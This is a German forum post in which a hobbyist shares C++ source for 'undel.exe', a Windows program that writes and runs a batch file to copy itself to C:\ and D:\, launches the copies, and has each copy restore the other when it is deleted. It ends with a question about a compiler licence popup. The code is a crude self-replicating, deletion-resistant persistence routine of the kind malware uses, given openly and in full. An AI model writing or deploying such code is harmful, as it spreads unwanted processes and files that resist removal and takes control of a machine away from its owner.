Zum Programm:
Wenn es gestartet wird, schaut es ob es ein Programm undel.exe auf C:\ und auf D:\ gibt, ist dies nicht der fall, so wird eine batch datei erstellt die dann das programm auf D:\ und C:\ erstellen.
kurz: ein programm kopiert sich irgendwo hin, startet die kopie und kontrollieren sich gegenseitig, falls eines gelöscht wurde, wird es vom anderem Programm wieder "hergestellt"....
und hier der code:
|
C-/C++-Quelltext
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>
using namespace std;
int main()
{
ofstream dat_aus;
string dateiname = "copy.bat";
ifstream dat_ein;
string dateiname1 = "C:\\undel.exe";
string dateiname2 = "D:\\undel.exe";
string text1 ="copy undel.exe c:\\";
string text2 ="copy undel.exe d:\\";
string text3 ="del copy.bat";
abc:
dat_ein.open(dateiname1.c_str(), ios_base::in);
if(!dat_ein)
{
dat_aus.open(dateiname.c_str(), ios_base::out);
dat_aus << text1 << endl;
dat_aus << text3 << endl;
dat_aus << "D:\\undel.exe"<<endl;
dat_aus.close();
system("copy.bat");
Sleep(500);
goto abc;
}
dat_ein.close();
system("C:\\undel.exe");
def:
dat_ein.open(dateiname2.c_str(), ios_base::in);
if(!dat_ein)
{
dat_aus.open(dateiname.c_str(), ios_base::out);
dat_aus << text2 << endl;
dat_aus << text3 << endl;
dat_aus << "C:\\undel.exe"<<endl;
dat_aus.close();
system("copy.bat");
Sleep(500);
goto def;
}
dat_ein.close();
system("D:\\undel.exe");
system("copy.bat");
return 0;
}
|
und dan hab ich nochn prob:
ich benutz den compiler der im buch: c++ für spielprogrammiere von Heiko Kalista war. jedesmal wen ich ne exe datei kompilier und starte kommt immer sowas:
Note: The terms of the End User License Agreement for Visual C++ Introductory Edition do not permit redistribution of executables you create with this Product.
Die meldung regt immer auf, besonders bei Programme die sich beenden und andere starten... muss immer auf OK drücken arghhhhh